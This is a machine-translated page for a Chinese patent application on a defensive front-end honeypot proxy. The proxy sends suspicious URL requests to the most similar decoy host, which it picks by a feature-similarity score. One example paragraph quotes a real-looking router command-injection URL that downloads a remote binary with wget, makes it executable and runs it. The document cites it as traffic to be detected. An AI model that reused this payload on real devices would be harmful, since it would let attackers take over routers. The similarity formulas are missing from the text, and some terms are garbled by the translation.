URL (Uniform Resource Locator) feature drainage method and system for preposed honey court, storage medium and electronic equipment

By extracting the URL characteristics of the access request and forwarding it to a URL honey point host with high similarity, it solves the problem of poor network defense effect of traditional front-end honey servers, and achieves effective response to unknown URL path access and the trapping of attackers. Improved network security.

CN118784365APending Publication Date: 2024-10-15GUANGZHOU UNIVERSITY
View PDF 0 Cites 0 Cited by

Patent Information

Application Number
CN202411120042.9
Authority / Receiving Office
CN · China
Patent Type
Applications(China)
Current Assignee / Owner
Filing Date
2024-08-15
Publication Date
2024-10-15

AI Technical Summary

Technical Problem

Traditional front-end MiTing has poor network defense effect and is difficult to effectively detect and respond to attackers' access behavior to unknown URL paths.

Method used

By obtaining the access request, judging its legality, extracting the characteristics of the target URL, traversing all URL honey points in the preset URL knowledge base, calculating the similarity value to filter out the target URL honey points, and modifying the access request to forward it to the deployed target URL honey point. Point-of-care hosts can isolate illegal traffic and proactively trap attackers.

Benefits of technology

It improves the network defense effect, prevents unknown vulnerabilities from harming real business, reduces the cost of repeated construction of URL honey points, and improves resource utilization efficiency.

✦ Generated by Eureka AI based on patent content.

Smart Images

  • Figure CN118784365A_ABST
    Figure CN118784365A_ABST
Patent Text Reader

Abstract

The invention provides a URL feature drainage method and system for a front honey court, a storage medium and electronic equipment, and the method comprises the steps: obtaining an access request, and judging whether the access request is legal or not; if the access request is illegal, extracting a target URL feature from the access request, and traversing all URL honey points in a preset URL knowledge base according to the target URL feature to obtain a similarity value between the target URL feature and the URL feature of any URL honey point; screening out a target URL honey point from a preset URL knowledge base according to the similarity value, and obtaining IP address information, port information and URL path information of the target URL honey point; and modifying the access request according to the IP address information, the port information and the URL path information of the target URL honey point. According to the method and the device, some specific access requests are forwarded, so that the host deployed with the target URL honey point can attract an attacker to actively attack the target URL honey point by using the access request, the target URL honey point is easily and successfully trapped, and the network defense effect is improved.
Need to check novelty before this filing date? Find Prior Art

Description

Technical Field

[0001] The present invention relates to the field of network security protection technology, and in particular to a URL feature drainage method, system, storage medium and electronic device for a front-end honey garden. Background Art

[0002] The front honey court is an active defense technology in the field of network security. It is deployed in front of the entire protected system. All traffic needs to pass through the front honey court first. The traffic passing through the front honey court will be parsed and analyzed. If it is normal traffic, the front honey court will forward it to normal business; if it is malicious traffic, the front honey court will forward it to other places. If it is malicious traffic, in order to better analyze the attacker's behavior, the front honey court will not simply block the malicious traffic, but forward it to other places.

[0003] Attackers may access some URL paths that our normal services do not have and try to attack normal business. In order to better discover and observe attackers' access to unknown URLs and subsequent behaviors, we urgently need a new front-end honeypot that has the traffic function of unknown URLs to forward these malicious traffic accessing unknown URLs to the back-end URL honeypot, so as to better discover attackers and improve network defense effectiveness.

[0004] The front honey court is an active defense technology in the field of network security. It is deployed in front of the entire protected system. All traffic needs to pass through the front honey court first. The front honey court will parse the traffic and analyze it. If it is normal traffic, the front honey court will forward it to normal business; if it is malicious traffic, the front honey court will have more sophisticated processing: in order to better analyze the attacker's behavior, the front honey court will not simply block the malicious traffic. Therefore, a diversion method is urgently needed to enable attackers to actively access the front honey court to better detect attackers and thus improve network defense effectiveness. Summary of the invention

[0005] The purpose of the present invention is to provide a URL feature diversion method, system, storage medium and electronic device for a front-end honey court, aiming to solve the problem of poor network defense effect existing in traditional technologies.

[0006] In a first aspect, the present invention provides a method for URL feature drainage of a front honey court, the method comprising:

[0007] Obtaining an access request and determining whether the access request is legal;

[0008] If the access request is illegal, extract the target URL feature from the access request, and traverse all URL honey spots in a preset URL knowledge base according to the target URL feature to obtain a similarity value between the target URL feature and the URL feature of any of the URL honey spots;

[0009] Filtering a target URL honeypot from the preset URL knowledge base according to the similarity value, and obtaining IP address information, port information and URL path information of the target URL honeypot;

[0010] The access request is modified according to the IP address information, port information and URL path information of the target URL honeypot.

[0011] In summary, according to the URL feature diversion method of the front honey court, the front honey court forwards some specific URL access traffic (access requests) to another host where the target URL honey spot is deployed, so that these illegal access requests are isolated from the real business host, avoiding the unknown vulnerabilities of the access request itself from endangering the real business. At the same time, the host where the target URL honey spot is deployed can use the access request to attract attackers to actively attack the target URL honey spot, and then it is easy to be successfully trapped by the URL honey spot, thereby improving the network defense effect. At the same time, the host can be reused to reduce the cost of making URL honey spots. Specifically, firstly, it is detected whether the access request is legal, and the target URL feature is extracted for the illegal access request, and then all URL honey spots in the preset URL knowledge base are traversed to find the target URL honey spot with the highest similarity with the target URL feature in the access request, and then the access request is modified according to the relevant information of the target URL honey spot, so as to achieve the forwarding of the access request according to the modified information to the host where the target URL honey spot is deployed, thereby achieving the isolation of illegal access requests from the real business host, and attracting attackers to actively attack the access request, so that it is easy to be captured by the URL honey spot.

[0012] Furthermore, the step of obtaining the access request and determining whether the access request is legal includes:

[0013] Parsing the access request to determine whether the access request is in the blacklist or whitelist according to the parsing result;

[0014] If the access request is not in the blacklist or whitelist, the URL information corresponding to the access request is obtained, and it is determined whether the URL information is legal.

[0015] Furthermore, the step of parsing the access request to determine whether the access request is in the blacklist or whitelist according to the parsing result includes:

[0016] The analysis results include source IP, source port, destination IP, destination port, and URL path;

[0017] Determine whether the source IP is an IP in a preset blacklist or an IP in a preset whitelist;

[0018] If the source IP is neither in the preset blacklist nor in the preset whitelist, it is determined that the access request is not in the blacklist or whitelist.

[0019] Further, after the step of determining whether the source IP is an IP in a preset blacklist or an IP in a preset whitelist, the step further includes:

[0020] If the source IP is an IP in a preset blacklist, obtaining the access count of the access request, and determining whether the access count is greater than a first preset access count threshold;

[0021] If the access number is greater than a first preset access number threshold, feeding back a first rejection response to the access request;

[0022] If the access number is less than or equal to a first preset access number threshold, redefining the access request as illegal;

[0023] If the source IP is an IP in the preset whitelist, the access request is directly forwarded.

[0024] Furthermore, if the access request is illegal, the step of extracting a target URL feature from the access request, and traversing all URL honey spots in a preset URL knowledge base according to the target URL feature to obtain a similarity value between the target URL feature and the URL feature of any of the URL honey spots includes:

[0025] The similarity value between the target URL feature and the URL feature of any URL honey spot is calculated according to the following formula:

[0026]

[0027] Among them, S j represents the similarity value between the target URL feature and the URL feature of the jth URL honeypot, A represents the target URL feature, C j Represents the URL features of the jth URL honeyspot.

[0028] Furthermore, the step of filtering out a target URL honeypot from the preset URL knowledge base according to the similarity value and obtaining IP address information, port information and URL path information of the target URL honeypot includes:

[0029] Determine whether there is a similarity value greater than a first preset similarity value threshold;

[0030] If so, obtaining at least one first similarity value greater than a first preset similarity threshold;

[0031] Sorting at least one similarity value to obtain a maximum first similarity value according to the sorting result, and obtaining a corresponding target URL honey spot according to the maximum first similarity value;

[0032] Alternatively, all similarity values ​​are sorted to obtain the maximum second similarity value according to the sorting result, and it is determined whether the second similarity value is greater than a first preset similarity threshold;

[0033] If the second similarity value is greater than the first preset similarity threshold, the corresponding target URL honey spot is obtained according to the second similarity value.

[0034] Furthermore, after the step of determining whether there is a similarity value greater than a first preset similarity value threshold, the step further includes:

[0035] If there is no similarity value greater than the first preset similarity threshold, sending a second rejection response according to the access request;

[0036] After the step of determining whether the second similarity value is greater than the first preset similarity threshold, the following step is further performed:

[0037] If the second similarity value is less than or equal to the first preset similarity threshold, sending a third rejection response according to the access request.

[0038] In a second aspect, the present invention provides a URL feature traffic diversion system, the system comprising:

[0039] A request acquisition module, used to acquire an access request and determine whether the access request is legal;

[0040] A feature extraction module is used to extract a target URL feature from the access request if the access request is illegal, and traverse all URL honey spots in a preset URL knowledge base according to the target URL feature to obtain a similarity value between the target URL feature and the URL feature of any of the URL honey spots;

[0041] A honey spot information acquisition module, used to filter out a target URL honey spot from the preset URL knowledge base according to the similarity value, and obtain the IP address information, port information and URL path information of the target URL honey spot;

[0042] The traffic diversion execution module is used to modify the access request according to the IP address information, port information and URL path information of the target URL honey spot, so as to forward the access request to the host where the target URL honey spot is deployed according to the modification result.

[0043] In a third aspect, the present invention provides a storage medium, which stores one or more programs, which, when executed by a processor, implement the above-mentioned URL feature diversion method of the front honey court.

[0044] In a fourth aspect, the present invention provides an electronic device, the electronic device comprising a memory and a processor, wherein:

[0045] The memory is used to store computer programs;

[0046] When the processor is used to execute the computer program stored in the memory, the above-mentioned URL feature diversion method of the front honey court is implemented.

[0047] In addition, compared with the prior art, the present invention also has the following advantages:

[0048] 1. The present invention constructs a preset URL knowledge base for storing and managing URL features of various honey spots and their corresponding information to guide the front honey court to forward traffic. The front honey court identifies the URL features most similar to the target URL features in the access request based on the URL features of the preset URL knowledge base, so as to forward the access request to the target URL honey spot corresponding to the most similar URL features, so that the attacker can actively attack the target URL honey spot, thereby achieving the purpose of improving the network defense effect.

[0049] 2. The URL honeypots in the present invention can be reused, which improves reusability, reduces duplicate construction, and improves resource utilization efficiency. BRIEF DESCRIPTION OF THE DRAWINGS

[0050] Figure 1 A flowchart of a URL feature traffic diversion method for a front-end honey court proposed in an embodiment of the present invention;

[0051] Figure 2 A detailed diagram of step S101 proposed in one embodiment of the present invention;

[0052] Figure 3 One of the detailed diagrams of step S103 proposed in one embodiment of the present invention;

[0053] Figure 4 The second detailed diagram of step S103 proposed in one embodiment of the present invention;

[0054] Figure 5A schematic diagram of the structure of a URL feature traffic diversion system proposed in one embodiment of the present invention.

[0055] The following specific implementation manner will further illustrate the present invention in conjunction with the above-mentioned drawings. DETAILED DESCRIPTION

[0056] In order to make the purpose, technical solutions and advantages of the embodiments of the present invention clearer, the technical solutions in the embodiments of the present invention will be clearly and completely described below. Obviously, the described embodiments are part of the embodiments of the present invention, not all of the embodiments. Based on the embodiments of the present invention, all other embodiments obtained by ordinary technicians in this field without creative work are within the scope of protection of the present invention. Unless otherwise defined, the technical terms or scientific terms used herein should be understood by people with general skills in the field to which the present invention belongs. "Including" and similar words used in this article mean that the elements or objects appearing before the word include the elements or objects listed after the word and their equivalents, without excluding other elements or objects.

[0057] In the embodiments of the present application, the technical term "front honey court" refers to a reverse proxy traffic monitoring server, which is a front-end system of the back-end server cluster and has reverse proxy, trapping monitoring, access restriction, content anomaly detection and traffic forwarding functions, and is deployed between the external network and the communication link of the front honey court back-end server cluster. The front honey court is developed based on three products: Nginx, Suricata and Modsecurity, and has the following functions:

[0058] 1. Reverse proxy function: The front honey court can act as a reverse proxy server, receiving requests from clients and forwarding the requests to the back-end server. By hiding the information of the back-end server, the front honey court can enhance the security of the network and reduce the chance of exposure to external threats.

[0059] 2. Traffic monitoring function: The front-end honey house can parse the passing http traffic, monitor and analyze network traffic to identify and respond to potential security threats. Traffic detection can include monitoring data packets, analyzing traffic patterns, identifying abnormal behavior, etc.

[0060] 3. Access control function: The front-end honey court will manage and limit network data flow to ensure that only authorized and secure traffic can enter or leave the network, thereby protecting the security of network resources and data. The front-end honey court will use a variety of methods for access control, such as Modsecurity firewall, IP blacklist and whitelist, access protocol blacklist and whitelist, etc.

[0061] See also Figure 1, which is a flow chart of a URL feature drainage method for a front honey house provided by an embodiment of the present invention, and is applied to the front honey house. The method includes steps S101 to S104, wherein:

[0062] Step S101: Obtain an access request and determine whether the access request is legal.

[0063] It should be noted that the access request is actually an HTTP access request, and then it is determined whether the HTTP access request is a legal request specified in advance.

[0064] Step S102: If the access request is illegal, extract the target URL feature from the access request, and traverse all URL honey spots in the preset URL knowledge base according to the target URL feature to obtain the similarity value between the target URL feature and the URL feature of any of the URL honey spots.

[0065] In this step, the preset URL knowledge base contains multiple URL honey spots, each URL honey spot contains corresponding URL features, so that when the current honey court detects that the access request is illegal, the target URL feature is extracted from the access request, and the preset URL knowledge base is searched with the target URL feature to obtain multiple similarity values.

[0066] Step S103: Filtering out a target URL honeypot from the preset URL knowledge base according to the similarity value, and obtaining IP address information, port information and URL path information of the target URL honeypot.

[0067] It should be pointed out that after obtaining the similarity value between the target URL feature and any URL feature in the preset URL knowledge base, the URL feature with the highest similarity is screened out based on these similarity values, and the URL honey spot with the URL feature with the highest similarity is used as the target URL honey spot, and then the IP address information, port information and URL path information are obtained.

[0068] Step S104: modifying the access request according to the IP address information, port information and URL path information of the target URL honey spot, so as to forward the access request to the host where the target URL honey spot is deployed according to the modification result.

[0069] It can be understood that after searching for the target URL honey spot, the IP address, port and URL path of the access request are modified based on the IP address information, port information and URL path information of the target URL honey spot, so that the access request is forwarded to the host where the target URL honey spot is deployed, and then the target URL honey spot can use the access request to attract the attacker's active attack, thereby capturing the attacker.

[0070] In summary, according to the above-mentioned URL feature diversion method of the front honey court, by forwarding some specific URL access traffic (access requests) to another host where the target URL honey spot is deployed, these illegal access requests are isolated from the real business host, avoiding the unknown vulnerabilities of the access request itself from endangering the real business. At the same time, the host where the target URL honey spot is deployed can use the access request to attract attackers to actively attack the target URL honey spot, and then it is easy to be successfully trapped by the URL honey spot, thereby improving the network defense effect. At the same time, the host can be reused to reduce the cost of making URL honey spots. Specifically, first detect whether the access request is legal, extract the target URL feature for the illegal access request, and then traverse all URL honey spots in the preset URL knowledge base to find the target URL honey spot with the highest similarity to the target URL feature in the access request, and then modify the access request according to the relevant information of the target URL honey spot, so as to achieve the forwarding of the access request according to the modified information to the host where the target URL honey spot is deployed, thereby achieving the isolation of illegal access requests from the real business host, and attracting attackers to actively attack the access request, so that it is easy to be captured by the URL honey spot.

[0071] In some optional embodiments, see Figure 2 , step S101 further includes:

[0072] Step S1011: parse the access request to determine whether the access request is in the blacklist or whitelist according to the parsing result.

[0073] Step S1012: If the access request is not in the blacklist or whitelist, the URL information corresponding to the access request is obtained, and it is determined whether the URL information is legal.

[0074] It should be noted that this step is mainly to preliminarily screen and analyze the HTTP access requests entering the front honey court. When the front honey court receives an HTTP access request, it parses the access request to extract the main information such as source IP, source port, destination IP, destination port, URL path, etc.

[0075] Then determine whether the source IP is an IP in the preset blacklist or an IP in the preset whitelist. If the source IP is an IP in the preset whitelist, directly forward the access request, that is, directly release the access request and return the request content.

[0076] If the source IP is an IP in a preset blacklist, there are two ways to handle the access request. One is to intercept the access request and return a 403 forbidden request, or to put the access request into a preset URL knowledge base for retrieval.

[0077] Specifically, if it is an IP in the blacklist, considering that the attacker will make other attack attempts many times after the access is denied or intercepted, these attacks may be some unknown vulnerabilities, etc. Based on this, in order to utilize the subsequent access behaviors of the blacklisted IP, try to extract some new URL features from it. First, the number of accesses of the access request will be obtained, and it will be determined whether the number of accesses is greater than the first preset number of accesses threshold; if the number of accesses is greater than the first preset number of accesses threshold, a first rejection response will be fed back to the access request, that is, the access request will be directly intercepted; if the number of accesses is less than or equal to the first preset number of accesses threshold, the access request will be redefined as illegal, so that the access request can enter the subsequent preset knowledge base retrieval to match the most similar URL feature.

[0078] In addition, after executing the first rejection response to the access request, the access request and its features will also be reported to the administrator. The administrator will make a judgment based on the reported information and decide whether it is necessary to create a new URL honeypot to deal with this new attack mode. If it is decided to create, the preset URL knowledge base will be updated, and the new URL honeypot features and corresponding information (IP, port, URL, etc.) will be added to the library, thereby completing the update iteration of the entire URL knowledge base, and then the IP will be recorded. By constructing a preset URL knowledge base, it is used to store the URL features of URL honeypots and their corresponding host addresses. Based on the new URL features obtained each time, the administrator can decide whether to create a URL honeypot similar to the new features, thereby completing the update iteration of the URL knowledge base, and can also list the source IP corresponding to the access request as a blacklist IP, thereby completing the update iteration of the IP blacklist and whitelist.

[0079] In some optional embodiments, the similarity value between the target URL feature and the URL feature of any URL honey spot is calculated specifically according to the following formula:

[0080]

[0081] Among them, S jrepresents the similarity value between the target URL feature and the URL feature of the jth URL honeypot, A represents the target URL feature, C j Represents the URL features of the jth URL honeyspot.

[0082] For example, it will first determine whether the URL information is a pre-defined legal URL information, that is, the URL information of normal services. For example, the URL information of normal services is / store / commodity_1, / store / commodity_2 and / store / commodity_3. If the URL information of the access request is / store / commodity_3, then it is considered to be a normal access service, and no further operation is performed. The request is forwarded to the normal service of the backend. If the access request URL is not in the pre-defined legal URL information, for example, the URL information is / etc / password.txt, / systembc / password.php and some complex URL information: / cgi-bin / luci / ; stok= / locale? form=country&operation=write&country=$(cd+ / tmp;+rm+-rf+shk;+wget+http: / / IP / shk;+chmod+777+shk;+. / shk+tplink;+rm+-rf+shk), the module will extract features from these illegal URL information. For example, the first and second URL information will extract the feature of "password", and it is believed that the access request is to obtain sensitive files. The third URL information will extract a command execution feature in the information, and it is believed that the URL is intended to execute the command. After extracting the features, it will search the preset URL knowledge base to see if there are honey spots with similar features, and select the honey spot with the highest similarity.

[0083] In some optional embodiments, see Figure 3 , step S103 further includes:

[0084] Step S1031: Determine whether there is a similarity value greater than a first preset similarity value threshold.

[0085] Step S1032: If so, obtaining at least one first similarity value greater than a first preset similarity threshold.

[0086] Step S1033: sorting at least one similarity value to obtain the maximum first similarity value according to the sorting result, and obtaining the corresponding target URL honey spot according to the maximum first similarity value.

[0087] It should be noted that, since there may be a situation where all similarity values ​​are low, a first preset similarity threshold is set when searching in the preset URL database. If no similarity value is higher than the first preset similarity threshold, it is considered that no URL honey spot with similar features has been retrieved. If a similarity value exceeds the first preset similarity threshold, it is considered that a URL honey spot with similar features has been retrieved.

[0088] In some optional embodiments, see Figure 4 , step S103 may further include:

[0089] S1034: sorting all the similarity values ​​to obtain the maximum second similarity value according to the sorting result, and determining whether the second similarity value is greater than a first preset similarity threshold;

[0090] S1035: If the second similarity value is greater than the first preset similarity threshold, obtaining the corresponding target URL honey spot according to the second similarity value.

[0091] Regarding the two solutions of step S103, no matter which one, the purpose of obtaining the highest similarity value and the similarity value exceeding the first preset similarity threshold can be achieved to avoid the situation where the highest similarity value is small, resulting in the final target URL honey spot not matching the access request.

[0092] Exemplarily, after searching in the preset URL knowledge base, it is found that the URL feature of the access request is similar to multiple URL honey spots that exceed the first preset similarity threshold θ, and the honey spot with the highest similarity is selected for subsequent operations. For example, if a URL honey spot with the "password" feature is retrieved, the information of the URL honey spot (IP, port, URL, etc.) is used to modify the IP address, port and URL path of the access request. This operation will forward the access request to the location of the URL honey spot, allowing the attacker to obtain the counterfeit password file content. The IP will then be recorded to observe its subsequent behavior in this business system, and the IP can also be included in the blacklist and whitelist.

[0093] Further, in some embodiments, if there is no similarity value greater than the first preset similarity threshold, a second rejection response is sent according to the access request; or, if the second similarity value is less than or equal to the first preset similarity threshold, a third rejection response is sent according to the access request. In other words, if no honey spot with similar features is retrieved, that is, after searching in the preset URL knowledge base, no similar target URL honey spot is found, the module will reject the access request and report the access request and its features to the administrator. The administrator will make a judgment based on the reported information and decide whether it is necessary to create a new URL honey spot to deal with this new attack mode. If it is decided to create, the knowledge base will be updated, and the new honey spot features and corresponding information (IP, port, URL, etc.) will be added to the library, thereby completing the entire URL knowledge base update iteration. The IP will then be recorded to observe its subsequent behavior in this business system, and the IP can also be included in the black and white list.

[0094] See also Figure 5 , which is a schematic diagram of the structure of a URL feature traffic diversion system in one embodiment of the present invention, the system includes:

[0095] A request acquisition module 10 is used to acquire an access request and determine whether the access request is legal;

[0096] Furthermore, in some optional embodiments, the request acquisition module 10 further includes:

[0097] A traffic analysis unit, used to analyze the access request to determine whether the access request is in the blacklist or whitelist according to the analysis result;

[0098] The legality detection unit is used to obtain the URL information corresponding to the access request if the access request is not in the blacklist or whitelist, and determine whether the URL information is legal.

[0099] Furthermore, in some optional embodiments, the traffic parsing unit further includes:

[0100] A source IP detection unit, used to determine whether the source IP is an IP in a preset blacklist or an IP in a preset whitelist;

[0101] The source IP determination unit is used to determine that the access request is not in the blacklist or whitelist if the source IP is not in the preset blacklist or whitelist.

[0102] The feature extraction module 20 is used to extract the target URL feature from the access request if the access request is illegal, and traverse all URL honey spots in the preset URL knowledge base according to the target URL feature to obtain the similarity value between the target URL feature and the URL feature of any of the URL honey spots;

[0103] Furthermore, in some optional embodiments, the feature extraction module 20 further includes:

[0104] The similarity calculation unit is used to calculate the similarity value between the target URL feature and the URL feature of any URL honey spot according to the following formula:

[0105]

[0106] Among them, S j represents the similarity value between the target URL feature and the URL feature of the jth URL honeypot, A represents the target URL feature, C j Represents the URL features of the jth URL honeyspot.

[0107] A honey spot information acquisition module 30, configured to filter out a target URL honey spot from the preset URL knowledge base according to the similarity value, and obtain IP address information, port information and URL path information of the target URL honey spot;

[0108] Furthermore, in some optional embodiments, the honey spot information acquisition module 30 further includes:

[0109] A first similarity detection unit, used to determine whether there is a similarity value greater than a first preset similarity value threshold;

[0110] A first similarity value acquisition unit, configured to acquire at least one first similarity value greater than a first preset similarity threshold value, if any;

[0111] A first sorting unit, used to sort at least one similarity value to obtain a maximum first similarity value according to the sorting result, and to obtain a corresponding target URL honey spot according to the maximum first similarity value;

[0112] a second response unit, configured to send a second rejection response according to the access request if there is no similarity value greater than the first preset similarity threshold;

[0113] Alternatively, a second sorting unit is used to sort all the similarity values ​​to obtain a maximum second similarity value according to the sorting result, and determine whether the second similarity value is greater than a first preset similarity threshold;

[0114] a target URL honey spot acquisition unit, configured to acquire the corresponding target URL honey spot according to the second similarity value if the second similarity value is greater than a first preset similarity threshold;

[0115] A third response unit is configured to send a third rejection response according to the access request if the second similarity value is less than or equal to the first preset similarity threshold.

[0116] The traffic diversion execution module 40 is used to modify the access request according to the IP address information, port information and URL path information of the target URL honey spot, so as to forward the access request to the host where the target URL honey spot is deployed according to the modification result.

[0117] Furthermore, in some optional embodiments, the system further includes:

[0118] An access count detection module, for obtaining the access count of the access request if the source IP is an IP in a preset blacklist, and determining whether the access count is greater than a first preset access count threshold;

[0119] A first response module, configured to feedback a first rejection response to the access request if the access number is greater than a first preset access number threshold;

[0120] A detection result output module, configured to redefine the access request as illegal if the access number is less than or equal to a first preset access number threshold;

[0121] The request forwarding module is used to directly forward the access request if the source IP is an IP in a preset whitelist.

[0122] On the other hand, the present invention further proposes a storage medium on which one or more programs are stored, and when the program is executed by a processor, the above-mentioned URL feature diversion method of the front honey court is implemented.

[0123] On the other hand, the present invention also proposes an electronic device, including a memory and a processor, wherein the memory is used to store computer programs, and the processor is used to execute the computer programs stored in the memory to implement the above-mentioned URL feature diversion method of the front honey court.

[0124] Those skilled in the art will appreciate that the logic and / or steps represented in the flowchart or otherwise described herein, for example, may be considered as an ordered list of executable instructions for implementing logical functions, and may be embodied in any computer-readable medium for use by an instruction execution system, device or apparatus (such as a computer-based system, a system including a processor, or other system that can fetch instructions from an instruction execution system, device or apparatus and execute instructions), or in conjunction with such instruction execution systems, devices or apparatuses. For purposes of this specification, "computer-readable medium" may be any device that can contain, store, communicate, propagate or transmit a program for use by an instruction execution system, device or apparatus, or in conjunction with such instruction execution systems, devices or apparatuses.

[0125] More specific examples of computer-readable media (a non-exhaustive list) include the following: an electrical connection with one or more wires (electronic device), a portable computer disk case (magnetic device), a random access memory (RAM), a read-only memory (ROM), an erasable and programmable read-only memory (EPROM or flash memory), an optical fiber device, and a portable compact disk read-only memory (CDROM). In addition, the computer-readable medium may even be a paper or other suitable medium on which the program is printed, since the program may be obtained electronically, for example, by optically scanning the paper or other medium, followed by editing, deciphering or, if necessary, processing in another suitable manner, and then stored in a computer memory.

[0126] It should be understood that the various parts of the present invention can be implemented by hardware, software, firmware or a combination thereof. In the above-mentioned embodiments, a plurality of steps or methods can be implemented by software or firmware stored in a memory and executed by a suitable instruction execution system. For example, if implemented by hardware, as in another embodiment, it can be implemented by any one of the following technologies known in the art or a combination thereof: a discrete logic circuit having a logic gate circuit for implementing a logic function for a data signal, a dedicated integrated circuit having a suitable combination of logic gate circuits, a programmable gate array (PGA), a field programmable gate array (FPGA), etc.

[0127] Although the embodiments of the present invention are described in detail above, it is obvious to those skilled in the art that various modifications and variations can be made to these embodiments. However, it should be understood that such modifications and variations are within the scope and spirit of the present invention as described in the claims. Moreover, the present invention described herein may have other embodiments and may be implemented or realized in a variety of ways.

Claims

1. A URL feature drainage method for a front honey court, applied to the front honey court, characterized in that: The method comprises: Obtaining an access request and determining whether the access request is legal; If the access request is illegal, extract the target URL feature from the access request, and traverse all URL honey spots in a preset URL knowledge base according to the target URL feature to obtain a similarity value between the target URL feature and the URL feature of any of the URL honey spots; Filtering a target URL honeypot from the preset URL knowledge base according to the similarity value, and obtaining IP address information, port information and URL path information of the target URL honeypot; The access request is modified according to the IP address information, port information and URL path information of the target URL honey spot, so as to forward the access request to the host where the target URL honey spot is deployed according to the modification result.

2. The URL feature drainage method of the front honey court according to claim 1 is characterized in that: The step of obtaining the access request and determining whether the access request is legal includes: Parsing the access request to determine whether the access request is in the blacklist or whitelist according to the parsing result; If the access request is not in the blacklist or whitelist, the URL information corresponding to the access request is obtained, and it is determined whether the URL information is legal.

3. The URL feature drainage method of the front honey court according to claim 2 is characterized in that: The step of parsing the access request to determine whether the access request is in the blacklist or whitelist according to the parsing result includes: The analysis results include source IP, source port, destination IP, destination port, and URL path; Determine whether the source IP is an IP in a preset blacklist or an IP in a preset whitelist; If the source IP is neither in the preset blacklist nor in the preset whitelist, it is determined that the access request is not in the blacklist or whitelist.

4. The URL feature drainage method of the front honey court according to claim 3 is characterized in that: After the step of determining whether the source IP is an IP in a preset blacklist or an IP in a preset whitelist, the following steps are further included: If the source IP is an IP in a preset blacklist, obtaining the access count of the access request, and determining whether the access count is greater than a first preset access count threshold; If the access number is greater than a first preset access number threshold, feeding back a first rejection response to the access request; If the access count is less than or equal to a first preset access count threshold, redefining the access request as illegal; If the source IP is an IP in the preset whitelist, the access request is directly forwarded.

5. The URL feature drainage method of the front honey court according to claim 1 is characterized in that: If the access request is illegal, the step of extracting the target URL feature from the access request, and traversing all URL honey spots in a preset URL knowledge base according to the target URL feature to obtain the similarity value between the target URL feature and the URL feature of any of the URL honey spots includes: The similarity value between the target URL feature and the URL feature of any URL honey spot is calculated according to the following formula: Among them, S j represents the similarity value between the target URL feature and the URL feature of the jth URL honeypot, A represents the target URL feature, C j Represents the URL features of the jth URL honeyspot.

6. The URL feature drainage method of the front honey court according to claim 1 is characterized in that: The step of filtering out a target URL honeypot from the preset URL knowledge base according to the similarity value and obtaining IP address information, port information and URL path information of the target URL honeypot comprises: Determine whether there is a similarity value greater than a first preset similarity value threshold; If so, obtaining at least one first similarity value greater than a first preset similarity threshold; Sorting at least one similarity value to obtain a maximum first similarity value according to the sorting result, and obtaining a corresponding target URL honey spot according to the maximum first similarity value; Alternatively, all similarity values ​​are sorted to obtain the maximum second similarity value according to the sorting result, and it is determined whether the second similarity value is greater than a first preset similarity threshold; If the second similarity value is greater than the first preset similarity threshold, the corresponding target URL honey spot is obtained according to the second similarity value.

7. The URL feature drainage method of the front honey court according to claim 6 is characterized in that: After the step of determining whether there is a similarity value greater than the first preset similarity value threshold, the following step further includes: If there is no similarity value greater than the first preset similarity threshold, sending a second rejection response according to the access request; After the step of determining whether the second similarity value is greater than the first preset similarity threshold, the following step is further performed: If the second similarity value is less than or equal to the first preset similarity threshold, sending a third rejection response according to the access request.

8. A URL feature traffic diversion system, characterized in that: The system comprises: A request acquisition module, used to acquire an access request and determine whether the access request is legal; A feature extraction module is used to extract a target URL feature from the access request if the access request is illegal, and traverse all URL honey spots in a preset URL knowledge base according to the target URL feature to obtain a similarity value between the target URL feature and the URL feature of any of the URL honey spots; A honey spot information acquisition module, used to filter out a target URL honey spot from the preset URL knowledge base according to the similarity value, and obtain the IP address information, port information and URL path information of the target URL honey spot; The traffic diversion execution module is used to modify the access request according to the IP address information, port information and URL path information of the target URL honey spot, so as to forward the access request to the host where the target URL honey spot is deployed according to the modification result.

9. A storage medium, characterized in that: The storage medium stores one or more programs, which, when executed by the processor, implement the URL feature diversion method of the front honey court as described in any one of claims 1-7.

10. An electronic device, comprising a memory and a processor, wherein: The memory is used to store computer programs; When the processor is used to execute the computer program stored in the memory, it implements the URL feature diversion method of the front honey court as described in any one of claims 1-7.